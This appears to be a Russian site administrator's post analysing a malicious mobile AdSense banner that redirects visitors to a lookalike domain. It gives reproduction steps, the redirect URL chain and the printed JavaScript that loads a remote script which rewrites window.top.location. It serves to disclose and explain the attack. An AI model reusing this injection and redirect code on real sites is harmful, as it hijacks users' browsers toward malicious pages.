Причина оказалась в Google AdSense. Там кто-то разместил html5-баннер, который показыется только для мобильных браузеров и меняет location.href и перебрасывает на левую страницу. Не ожидал такого недосмотра от Google. До разбирательства отключил код AdSense с сайта. Жалобу в Google отправил, но когда у них руки дойдут непонятно.
Поймать этот вредоносный баннер можно на http://www.opennet.ru/test/1.html Если почистить Cookie и поставить в User Agent идентификатор Chrome для Android (например, в Firefox это можно сделать через дополнение User Agent Overrider), то через несколько перезагрузок страницы тот баннер ловится.
Переброс осуществляется на http://www.opennet.ru.tinymp.com/uc.php (на других сайтах вместо "www.opennet.ru" после ".tinymp.com" прописывается текущий домен)
затем на
http://click.union.ucweb.com/index.php?service=RedirectServi...
http://hwoxt.com/?a=510746&c=1281273&m=24&s1=test20
Свойственные для проблемного баннера обращения к AdSense:
http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-...
http://adx.stcounter.com/adx.js?kcid=51435b3f35749150bf00080...
http://googleads.g.doubleclick.net/pagead/adview?ai=CzVkCEN-...
Проблемный код, который вызывает переход:
try{function callKonvertaZP(src) {if (typeof(src) == 'undefined') return; var d = document, b=d.body; if(src.toUpperCase().indexOf('HTTP://')==0||src.toUpperCase().indexOf('HTTPS://')==0) try{var img = d.createElement('IMG'); var s = src.replace(/%random%/, Math.round(Math.random()*9999999)); with(img.style){position = 'absolute'; width = '0px'; height = '0px';} img.src = s; b.insertBefore(img, b.firstChild);}catch(e){}}
var konverta_ad_href = '';
try{konverta_ad_href=(window.top || window.self).location.href;konverta_ad_href=encodeURIComponent(konverta_ad_href);}catch(e){}
function trackKonvertaClick() {callKonvertaZP('http://adclick.g.doubleclick.net/aclk?sa=l&ai=Coo2lEN-VVPj3C...');}
(function() {
var wc = document.createElement('script'); wc.type = 'text/javascript'; wc.async = true;
wc.src = 'https://pix.stcounter.com/wcjs2.php?r=www.opennet.ru&r2=Mozi...';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(wc, s);
})();
callKonvertaZP('http://pix.stcounter.com/adx.gif?bid=514b006435749149c200000...');}catch(e){}
В частности, кусок
wc.src = 'https://pix.stcounter.com/wcjs2.php?r=www.opennet.ru&r2=Mozi...';
приводит к получению строки
setTimeout("window.top.location.href='http://www.opennet.ru.tinymp.com/uc.php?random=1ee46b4c2993b...';", 100);
которая затем выполняется кодом:
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(wc, s);
Полный архив со слепком проблемных скриптов http://www.opennet.ru/test/1.tgz (проблемный код в 1_files/ads_data/adx.js)